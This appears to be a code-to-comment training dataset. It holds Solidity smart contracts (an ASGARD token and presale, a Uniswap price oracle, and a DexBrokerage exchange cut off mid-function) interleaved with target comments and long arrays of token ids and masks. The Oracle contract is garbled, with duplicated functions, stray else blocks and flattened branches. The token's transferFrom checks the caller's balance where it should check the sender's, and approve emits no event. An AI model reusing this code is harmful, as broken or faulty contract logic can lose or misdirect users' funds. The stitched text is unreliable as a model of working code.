* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BurnableToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(_value <= allowed[_from][msg.sender]);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract ASGToken is StandardToken {
string constant public name = "ASGARD";
string constant public symbol = "ASG";
uint256 constant public decimals = 18;
address constant public marketingWallet = 0x341570A97E15DbA3D92dcc889Fff1bbd6709D20a;
uint256 public marketingPart = uint256(2100000000).mul(10 ** decimals); // 8.4% = 2 100 000 000 tokens
address constant public airdropWallet = 0xCB3D939804C97441C58D9AC6566A412768a7433B;
uint256 public airdropPart = uint256(1750000000).mul(10 ** decimals); // 7% = 1 750 000 000 tokens
address constant public bountyICOWallet = 0x5570EE8D93e730D8867A113ae45fB348BFc2e138;
uint256 public bountyICOPart = uint256(375000000).mul(10 ** decimals); // 1.5% = 375 000 000 tokens
address constant public bountyECOWallet = 0x89d90bA8135C77cDE1C3297076C5e1209806f048;
uint256 public bountyECOPart = uint256(375000000).mul(10 ** decimals); // 1.5% = 375 000 000 tokens
address constant public foundersWallet = 0xE03d060ac22fdC21fDF42eB72Eb4d8BA2444b1B0;
uint256 public foundersPart = uint256(2500000000).mul(10 ** decimals); // 10% = 2 500 000 000 tokens
address constant public cryptoExchangeWallet = 0x5E74DcA28cE21Bf066FC9eb7D10946316528d4d6;
uint256 public cryptoExchangePart = uint256(400000000).mul(10 ** decimals); // 1.6% = 400 000 000 tokens
address constant public ICOWallet = 0xCe2d50c646e83Ae17B7BFF3aE7611EDF0a75E03d;
uint256 public ICOPart = uint256(10000000000).mul(10 ** decimals); // 40% = 10 000 000 000 tokens
address constant public PreICOWallet = 0x83D921224c8B3E4c60E286B98Fd602CBa5d7B1AB;
uint256 public PreICOPart = uint256(7500000000).mul(10 ** decimals); // 30% = 7 500 000 000 tokens
uint256 public INITIAL_SUPPLY = uint256(25000000000).mul(10 ** decimals); // 100% = 25 000 000 000 tokens
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[marketingWallet] = marketingPart;
emit Transfer(this, marketingWallet, marketingPart); // 8.4%
balances[airdropWallet] = airdropPart;
emit Transfer(this, airdropWallet, airdropPart); // 7%
balances[bountyICOWallet] = bountyICOPart;
emit Transfer(this, bountyICOWallet, bountyICOPart); // 1.5%
balances[bountyECOWallet] = bountyECOPart;
emit Transfer(this, bountyECOWallet, bountyECOPart); // 1.5%
balances[foundersWallet] = foundersPart;
emit Transfer(this, foundersWallet, foundersPart); // 10%
balances[cryptoExchangeWallet] = cryptoExchangePart;
emit Transfer(this, cryptoExchangeWallet, cryptoExchangePart); // 1.6%
balances[ICOWallet] = ICOPart;
emit Transfer(this, ICOWallet, ICOPart); // 40%
balances[PreICOWallet] = PreICOPart;
emit Transfer(this, PreICOWallet, PreICOPart); // 30%
}
}
contract ASGPresale is Pausable {
using SafeMath for uint256;
ASGToken public tokenReward;
uint256 constant public decimals = 1000000000000000000; // 10 ** 18
uint256 public minimalPriceUSD = 5350; // 53.50 USD
uint256 public ETHUSD = 390; // 1 ETH = 390 USD
uint256 public tokenPricePerUSD = 1666; // 1 ASG = 0.1666 USD
uint256 public bonus = 0;
uint256 public tokensRaised;
constructor(address _tokenReward) public {
tokenReward = ASGToken(_tokenReward);
}
function () public payable {
buy(msg.sender);
}
function buy(address buyer) whenNotPaused public payable {
require(buyer != address(0));
require(msg.value.mul(ETHUSD) >= minimalPriceUSD.mul(decimals).div(100));
uint256 tokens = msg.value.mul(ETHUSD).mul(bonus.add(100)).div(100).mul(10000).div(tokenPricePerUSD);
tokenReward.transfer(buyer, tokens);
tokensRaised = tokensRaised.add(tokens);
}
function tokenTransfer(address who, uint256 amount) onlyOwner public {
uint256 tokens = amount.mul(decimals);
tokenReward.transfer(who, tokens);
tokensRaised = tokensRaised.add(tokens);
}
function updateMinimal(uint256 _minimalPriceUSD) onlyOwner public {
minimalPriceUSD = _minimalPriceUSD;
}
function updatePriceETHUSD(uint256 _ETHUSD) onlyOwner public {
ETHUSD = _ETHUSD;
}
function updatePriceASGUSD(uint256 _tokenPricePerUSD) onlyOwner public {
tokenPricePerUSD = _tokenPricePerUSD;
}
function updateBonus(uint256 _bonus) onlyOwner public {
require(bonus <= 50);
bonus = _bonus;
}
function finishPresale() onlyOwner public {
owner.transfer(address(this).balance);
uint256 tokenBalance = tokenReward.balanceOf(address(this));
tokenReward.transfer(owner, tokenBalance);
}
}
|
40% = 10 000 000 000 tokens
|
uint256 public ICOPart = uint256(10000000000).mul(10 ** decimals);
| 15,781,882 |
[
1,
7132,
9,
273,
1728,
20546,
20546,
20546,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
1071,
467,
3865,
1988,
273,
2254,
5034,
12,
23899,
9449,
2934,
16411,
12,
2163,
2826,
15105,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0xE9409e842f55D4a44c835CDe85d74EA32Df29515/sources/contracts/A.sol
|
using SafeMath for uint; using SafeMath32 for uint32; for pool always store priceCommulative of Weth for each pair
|
contract Oracle {
using FixedPoint for *;
uint32 public blockTimestampLast;
uint public priceCommulativeXIOLast;
uint public priceCommulativeETHLast;
address public WETH = 0xc778417E063141139Fce010982780140Aa0cD5Ab;
address public XIO = 0x5d3069CBb2BFb7ebB9566728E44EaFDaC3E52708;
address public WETHXIOPOOL = 0x78bFFDEd2ff09b1E0257acA0bd8ed9A89B112dA8;
mapping(address => uint) public tokenToPriceCommulativeETH;
mapping(address => uint) public tokenToPriceCommulativeToken;
mapping(address => uint32) public tokenToTimestampLast;
event AssetPerAsset(uint);
event formulaResultAndAverage(uint a,FixedPoint.uq112x112 price0Average);
event formulaValues(uint,uint,uint32);
IUniswapV2Factory factoryInterface;
IUniswapV2Pair pairInterface;
constructor() {
factoryInterface = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Pair _pair = IUniswapV2Pair(factoryInterface.getPair(WETH,XIO));
priceCommulativeXIOLast = _pair.price0CumulativeLast();
priceCommulativeETHLast = _pair.price1CumulativeLast();
(, , blockTimestampLast) = _pair.getReserves();
}
function setValues(address token) public {
address pool = factoryInterface.getPair(WETH,token);
(WETH < token) ? tokenToPriceCommulativeETH[token] = IUniswapV2Pair(pool).price0CumulativeLast() : tokenToPriceCommulativeETH[token] = IUniswapV2Pair(pool).price1CumulativeLast();
(, , tokenToTimestampLast[token]) = IUniswapV2Pair(pool).getReserves();
if (WETH < token) {
tokenToPriceCommulativeETH[token] = IUniswapV2Pair(pool).price0CumulativeLast();
tokenToPriceCommulativeToken[token] = IUniswapV2Pair(pool).price1CumulativeLast();
tokenToPriceCommulativeETH[token] = IUniswapV2Pair(pool).price1CumulativeLast();
tokenToPriceCommulativeToken[token] = IUniswapV2Pair(pool).price0CumulativeLast();
}
}
function setValues(address token) public {
address pool = factoryInterface.getPair(WETH,token);
(WETH < token) ? tokenToPriceCommulativeETH[token] = IUniswapV2Pair(pool).price0CumulativeLast() : tokenToPriceCommulativeETH[token] = IUniswapV2Pair(pool).price1CumulativeLast();
(, , tokenToTimestampLast[token]) = IUniswapV2Pair(pool).getReserves();
if (WETH < token) {
tokenToPriceCommulativeETH[token] = IUniswapV2Pair(pool).price0CumulativeLast();
tokenToPriceCommulativeToken[token] = IUniswapV2Pair(pool).price1CumulativeLast();
tokenToPriceCommulativeETH[token] = IUniswapV2Pair(pool).price1CumulativeLast();
tokenToPriceCommulativeToken[token] = IUniswapV2Pair(pool).price0CumulativeLast();
}
}
}else {
function update(address token) external returns (uint price) {
uint ETHCommulative;
uint tokenCommulative;
uint32 blockTimestamp;
address pool = factoryInterface.getPair(WETH,token);
if (WETH < token) {
(ETHCommulative,tokenCommulative,blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pool));
(tokenCommulative,ETHCommulative,blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pool));
}
uint32 timeElapsed = blockTimestamp - tokenToTimestampLast[token];
emit formulaValues(tokenCommulative, tokenToPriceCommulativeToken[token], timeElapsed);
uint ETHperToken = _calculate(ETHCommulative, tokenToPriceCommulativeETH[token], timeElapsed);
emit AssetPerAsset(ETHperToken);
}
function update(address token) external returns (uint price) {
uint ETHCommulative;
uint tokenCommulative;
uint32 blockTimestamp;
address pool = factoryInterface.getPair(WETH,token);
if (WETH < token) {
(ETHCommulative,tokenCommulative,blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pool));
(tokenCommulative,ETHCommulative,blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pool));
}
uint32 timeElapsed = blockTimestamp - tokenToTimestampLast[token];
emit formulaValues(tokenCommulative, tokenToPriceCommulativeToken[token], timeElapsed);
uint ETHperToken = _calculate(ETHCommulative, tokenToPriceCommulativeETH[token], timeElapsed);
emit AssetPerAsset(ETHperToken);
}
}else {
function getXIOPerETH(address pool) public returns(
uint ETHperXIO,
uint XIOperETH
){
uint XIOCommulative;
uint ETHCommulative;
uint32 blockTimestamp;
(XIOCommulative,ETHCommulative,blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pool));
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
ETHperXIO = _calculate(XIOCommulative, priceCommulativeXIOLast, timeElapsed);
emit AssetPerAsset(ETHperXIO);
XIOperETH = _calculate(ETHCommulative, priceCommulativeETHLast, timeElapsed);
emit AssetPerAsset(XIOperETH);
priceCommulativeXIOLast = IUniswapV2Pair(pool).price0CumulativeLast();
priceCommulativeETHLast = IUniswapV2Pair(pool).price1CumulativeLast();
(,,blockTimestampLast) = IUniswapV2Pair(pool).getReserves();
}
function _calculate(uint latestCommulative, uint globalCommulative, uint32 timeElapsed) internal returns(uint assetPerAsset) {
FixedPoint.uq112x112 memory priceTemp = FixedPoint.uq112x112(uint224((latestCommulative - globalCommulative) / timeElapsed));
assetPerAsset = priceTemp.mul(1e18).decode144();
}
}
| 12,505,292 |
[
1,
9940,
14060,
10477,
364,
2254,
31,
282,
1450,
14060,
10477,
1578,
364,
2254,
1578,
31,
364,
2845,
3712,
1707,
6205,
12136,
332,
1535,
434,
678,
546,
364,
1517,
3082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
28544,
288,
203,
225,
1450,
15038,
2148,
364,
380,
31,
377,
203,
203,
225,
2254,
1578,
1071,
1203,
4921,
3024,
31,
203,
225,
2254,
1071,
6205,
12136,
332,
1535,
60,
45,
1741,
689,
31,
203,
225,
2254,
1071,
6205,
12136,
332,
1535,
1584,
44,
3024,
31,
203,
7010,
225,
1758,
1071,
678,
1584,
44,
273,
374,
6511,
4700,
5193,
4033,
41,
20,
4449,
3461,
2499,
5520,
42,
311,
1611,
5908,
28,
5324,
28,
1611,
7132,
37,
69,
20,
71,
40,
25,
5895,
31,
203,
225,
1758,
1071,
1139,
4294,
273,
374,
92,
25,
72,
5082,
8148,
8876,
70,
22,
15259,
70,
27,
24008,
38,
29,
4313,
9599,
6030,
41,
6334,
41,
69,
16894,
69,
39,
23,
41,
25,
5324,
6840,
31,
203,
225,
1758,
1071,
678,
1584,
44,
60,
4294,
20339,
273,
374,
92,
8285,
70,
2246,
1639,
72,
22,
1403,
5908,
70,
21,
41,
20,
2947,
27,
1077,
37,
20,
16410,
28,
329,
29,
37,
6675,
38,
17666,
72,
37,
28,
31,
203,
21281,
225,
2874,
12,
2867,
516,
2254,
13,
1071,
1147,
774,
5147,
12136,
332,
1535,
1584,
44,
31,
203,
225,
2874,
12,
2867,
516,
2254,
13,
1071,
1147,
774,
5147,
12136,
332,
1535,
1345,
31,
203,
225,
2874,
12,
2867,
516,
2254,
1578,
13,
1071,
1147,
774,
4921,
3024,
31,
203,
21281,
225,
871,
10494,
2173,
6672,
12,
11890,
1769,
203,
225,
871,
8013,
1253,
1876,
17115,
12,
11890,
279,
16,
7505,
2148,
18,
89,
85,
17666,
92,
17666,
6205,
20,
17115,
1769,
203,
225,
871,
8013,
1972,
12,
2
] |
pragma solidity ^0.4.23;
/**
*
* @author Maciek Zielinski & Radek Ostrowski - https://startonchain.com
* @author Alex George - https://dexbrokerage.com
*
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// require(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// require(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev a to power of b, throws on overflow.
*/
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a ** b;
require(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract DexBrokerage is Ownable {
using SafeMath for uint256;
address public feeAccount;
uint256 public makerFee;
uint256 public takerFee;
uint256 public inactivityReleasePeriod;
mapping (address => bool) public approvedCurrencyTokens;
mapping (address => uint256) public invalidOrder;
mapping (address => mapping (address => uint256)) public tokens;
mapping (address => bool) public admins;
mapping (address => uint256) public lastActiveTransaction;
mapping (bytes32 => uint256) public orderFills;
mapping (bytes32 => bool) public withdrawn;
event Trade(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address maker, address taker);
event Deposit(address token, address user, uint256 amount, uint256 balance);
event Withdraw(address token, address user, uint256 amount, uint256 balance);
event MakerFeeUpdated(uint256 oldFee, uint256 newFee);
event TakerFeeUpdated(uint256 oldFee, uint256 newFee);
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
constructor(uint256 _makerFee, uint256 _takerFee , address _feeAccount, uint256 _inactivityReleasePeriod) public {
owner = msg.sender;
makerFee = _makerFee;
takerFee = _takerFee;
feeAccount = _feeAccount;
inactivityReleasePeriod = _inactivityReleasePeriod;
}
function approveCurrencyTokenAddress(address currencyTokenAddress, bool isApproved) onlyAdmin public {
approvedCurrencyTokens[currencyTokenAddress] = isApproved;
}
function invalidateOrdersBefore(address user, uint256 nonce) onlyAdmin public {
require(nonce >= invalidOrder[user]);
invalidOrder[user] = nonce;
}
function setMakerFee(uint256 _makerFee) onlyAdmin public {
//market maker fee will never be more than 1%
uint256 oldFee = makerFee;
if (_makerFee > 10 finney) {
_makerFee = 10 finney;
}
require(makerFee != _makerFee);
makerFee = _makerFee;
emit MakerFeeUpdated(oldFee, makerFee);
}
function setTakerFee(uint256 _takerFee) onlyAdmin public {
//market taker fee will never be more than 2%
uint256 oldFee = takerFee;
if (_takerFee > 20 finney) {
_takerFee = 20 finney;
}
require(takerFee != _takerFee);
takerFee = _takerFee;
emit TakerFeeUpdated(oldFee, takerFee);
}
function setInactivityReleasePeriod(uint256 expire) onlyAdmin public returns (bool) {
require(expire <= 50000);
inactivityReleasePeriod = expire;
return true;
}
function setAdmin(address admin, bool isAdmin) onlyOwner public {
admins[admin] = isAdmin;
}
function depositToken(address token, uint256 amount) public {
receiveTokenDeposit(token, msg.sender, amount);
}
function receiveTokenDeposit(address token, address from, uint256 amount) public {
tokens[token][from] = tokens[token][from].add(amount);
lastActiveTransaction[from] = block.number;
require(ERC20(token).transferFrom(from, address(this), amount));
emit Deposit(token, from, amount, tokens[token][from]);
}
function deposit() payable public {
tokens[address(0)][msg.sender] = tokens[address(0)][msg.sender].add(msg.value);
lastActiveTransaction[msg.sender] = block.number;
emit Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]);
}
function withdraw(address token, uint256 amount) public returns (bool) {
require(block.number.sub(lastActiveTransaction[msg.sender]) >= inactivityReleasePeriod);
require(tokens[token][msg.sender] >= amount);
tokens[token][msg.sender] = tokens[token][msg.sender].sub(amount);
if (token == address(0)) {
msg.sender.transfer(amount);
} else {
require(ERC20(token).transfer(msg.sender, amount));
}
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
return true;
}
function adminWithdraw(address token, uint256 amount, address user, uint256 nonce, uint8 v, bytes32 r, bytes32 s, uint256 gasCost) onlyAdmin public returns (bool) {
//gasCost will never be more than 30 finney
if (gasCost > 30 finney) gasCost = 30 finney;
if(token == address(0)){
require(tokens[address(0)][user] >= gasCost.add(amount));
} else {
require(tokens[address(0)][user] >= gasCost);
require(tokens[token][user] >= amount);
}
bytes32 hash = keccak256(address(this), token, amount, user, nonce);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user);
if(token == address(0)){
tokens[address(0)][user] = tokens[address(0)][user].sub(gasCost.add(amount));
tokens[address(0)][feeAccount] = tokens[address(0)][feeAccount].add(gasCost);
user.transfer(amount);
} else {
tokens[token][user] = tokens[token][user].sub(amount);
tokens[address(0)][user] = tokens[address(0)][user].sub(gasCost);
tokens[address(0)][feeAccount] = tokens[address(0)][feeAccount].add(gasCost);
require(ERC20(token).transfer(user, amount));
}
lastActiveTransaction[user] = block.number;
emit Withdraw(token, user, amount, tokens[token][user]);
return true;
}
function balanceOf(address token, address user) view public returns (uint256) {
return tokens[token][user];
}
/* tradeValues
[0] amountBuy
[1] amountSell
[2] makerNonce
[3] takerAmountBuy
[4] takerAmountSell
[5] takerExpires
[6] takerNonce
[7] makerAmountBuy
[8] makerAmountSell
[9] makerExpires
[10] gasCost
tradeAddressses
[0] tokenBuy
[1] tokenSell
[2] maker
[3] taker
*/
function trade(uint256[11] tradeValues, address[4] tradeAddresses, uint8[2] v, bytes32[4] rs) onlyAdmin public returns (bool) {
uint256 price = tradeValues[0].mul(1 ether).div(tradeValues[1]);
require(price >= tradeValues[7].mul(1 ether).div(tradeValues[8]).sub(100000 wei));
require(price <= tradeValues[4].mul(1 ether).div(tradeValues[3]).add(100000 wei));
require(block.number < tradeValues[9]);
require(block.number < tradeValues[5]);
require(invalidOrder[tradeAddresses[2]] <= tradeValues[2]);
require(invalidOrder[tradeAddresses[3]] <= tradeValues[6]);
bytes32 orderHash = keccak256(address(this), tradeAddresses[0], tradeValues[7], tradeAddresses[1], tradeValues[8], tradeValues[9], tradeValues[2], tradeAddresses[2]);
bytes32 tradeHash = keccak256(address(this), tradeAddresses[1], tradeValues[3], tradeAddresses[0], tradeValues[4], tradeValues[5], tradeValues[6], tradeAddresses[3]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", orderHash), v[0], rs[0], rs[1]) == tradeAddresses[2]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", tradeHash), v[1], rs[2], rs[3]) == tradeAddresses[3]);
require(tokens[tradeAddresses[0]][tradeAddresses[3]] >= tradeValues[0]);
require(tokens[tradeAddresses[1]][tradeAddresses[2]] >= tradeValues[1]);
if ((tradeAddresses[0] == address(0) || tradeAddresses[1] == address(0)) && tradeValues[10] > 30 finney) tradeValues[10] = 30 finney;
if ((approvedCurrencyTokens[tradeAddresses[0]] == true || approvedCurrencyTokens[tradeAddresses[1]] == true) && tradeValues[10] > 10 ether) tradeValues[10] = 10 ether;
if(tradeAddresses[0] == address(0) || approvedCurrencyTokens[tradeAddresses[0]] == true){
require(orderFills[orderHash].add(tradeValues[1]) <= tradeValues[8]);
require(orderFills[tradeHash].add(tradeValues[1]) <= tradeValues[3]);
//tradeAddresses[0] is ether
uint256 valueInTokens = tradeValues[1];
//move tokens
tokens[tradeAddresses[1]][tradeAddresses[2]] = tokens[tradeAddresses[1]][tradeAddresses[2]].sub(valueInTokens);
tokens[tradeAddresses[1]][tradeAddresses[3]] = tokens[tradeAddresses[1]][tradeAddresses[3]].add(valueInTokens);
//from taker, take ether payment, fee and gasCost
tokens[tradeAddresses[0]][tradeAddresses[3]] = tokens[tradeAddresses[0]][tradeAddresses[3]].sub(tradeValues[0]);
tokens[tradeAddresses[0]][tradeAddresses[3]] = tokens[tradeAddresses[0]][tradeAddresses[3]].sub(takerFee.mul(tradeValues[0]).div(1 ether));
tokens[tradeAddresses[0]][tradeAddresses[3]] = tokens[tradeAddresses[0]][tradeAddresses[3]].sub(tradeValues[10]);
//to maker add ether payment, take fee
tokens[tradeAddresses[0]][tradeAddresses[2]] = tokens[tradeAddresses[0]][tradeAddresses[2]].add(tradeValues[0]);
tokens[tradeAddresses[0]][tradeAddresses[2]] = tokens[tradeAddresses[0]][tradeAddresses[2]].sub(makerFee.mul(tradeValues[0]).div(1 ether));
// take maker fee, taker fee and gasCost
tokens[tradeAddresses[0]][feeAccount] = tokens[tradeAddresses[0]][feeAccount].add(makerFee.mul(tradeValues[0]).div(1 ether));
tokens[tradeAddresses[0]][feeAccount] = tokens[tradeAddresses[0]][feeAccount].add(takerFee.mul(tradeValues[0]).div(1 ether));
tokens[tradeAddresses[0]][feeAccount] = tokens[tradeAddresses[0]][feeAccount].add(tradeValues[10]);
orderFills[orderHash] = orderFills[orderHash].add(tradeValues[1]);
orderFills[tradeHash] = orderFills[tradeHash].add(tradeValues[1]);
} else {
require(orderFills[orderHash].add(tradeValues[0]) <= tradeValues[7]);
require(orderFills[tradeHash].add(tradeValues[0]) <= tradeValues[4]);
//tradeAddresses[0] is token
uint256 valueInEth = tradeValues[1];
//move tokens //changed tradeValues to 0
tokens[tradeAddresses[0]][tradeAddresses[3]] = tokens[tradeAddresses[0]][tradeAddresses[3]].sub(tradeValues[0]);
